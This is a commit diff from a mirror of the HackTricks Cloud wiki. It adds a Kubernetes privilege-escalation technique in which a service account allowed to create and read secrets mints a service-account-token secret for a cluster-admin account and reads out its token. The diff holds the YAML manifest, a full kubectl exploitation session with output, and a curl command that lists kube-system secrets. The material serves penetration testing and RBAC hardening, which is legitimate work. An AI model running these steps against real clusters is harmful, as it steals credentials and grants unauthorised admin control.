mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-10 06:40:47 -08:00
Merge pull request #141 from VL4DYSL4V/VL4DYSL4V-k8s-privesc-via-secrets-create-and-read
Added K8s privesc technique via Create & Read secrets
This commit is contained in:
@@ -350,6 +350,75 @@ The permission to **list secrets could allow an attacker to actually read the se
|
||||
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
|
||||
```
|
||||
|
||||
### Creating and Reading Secrets
|
||||
|
||||
There is a special kind of a Kubernetes secret of type **kubernetes.io/service-account-token** which stores serviceaccount tokens.
|
||||
If you have permissions to create and read secrets, and you also know the serviceaccount's name, you can create a secret as follows and then steal the victim serviceaccount's token from it:
|
||||
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Secret
|
||||
metadata:
|
||||
name: stolen-admin-sa-token
|
||||
namespace: default
|
||||
annotations:
|
||||
kubernetes.io/service-account.name: cluster-admin-sa
|
||||
type: kubernetes.io/service-account-token
|
||||
```
|
||||
|
||||
Example exploitation:
|
||||
|
||||
```bash
|
||||
$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
|
||||
|
||||
$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN
|
||||
Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
|
||||
Resources Non-Resource URLs Resource Names Verbs
|
||||
selfsubjectreviews.authentication.k8s.io [] [] [create]
|
||||
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
|
||||
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
|
||||
secrets [] [] [get create]
|
||||
[/.well-known/openid-configuration/] [] [get]
|
||||
<SNIP>
|
||||
[/version] [] [get]
|
||||
|
||||
$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN
|
||||
error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
|
||||
Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
|
||||
|
||||
$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
|
||||
secret/stolen-admin-sa-token created
|
||||
|
||||
$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json
|
||||
{
|
||||
"apiVersion": "v1",
|
||||
"data": {
|
||||
"ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
|
||||
"namespace": "ZGVmYXVsdA==",
|
||||
"token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
|
||||
},
|
||||
"kind": "Secret",
|
||||
"metadata": {
|
||||
"annotations": {
|
||||
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
|
||||
"kubernetes.io/service-account.name": "cluster-admin-sa",
|
||||
"kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
|
||||
},
|
||||
"creationTimestamp": "2025-01-11T13:02:27Z",
|
||||
"name": "stolen-admin-sa-token",
|
||||
"namespace": "default",
|
||||
"resourceVersion": "1019116",
|
||||
"uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
|
||||
},
|
||||
"type": "kubernetes.io/service-account-token"
|
||||
}
|
||||
```
|
||||
|
||||
Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
|
||||
|
||||
|
||||
### Reading a secret – brute-forcing token IDs
|
||||
|
||||
While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).
|
||||
|
||||
Reference in New Issue
Block a user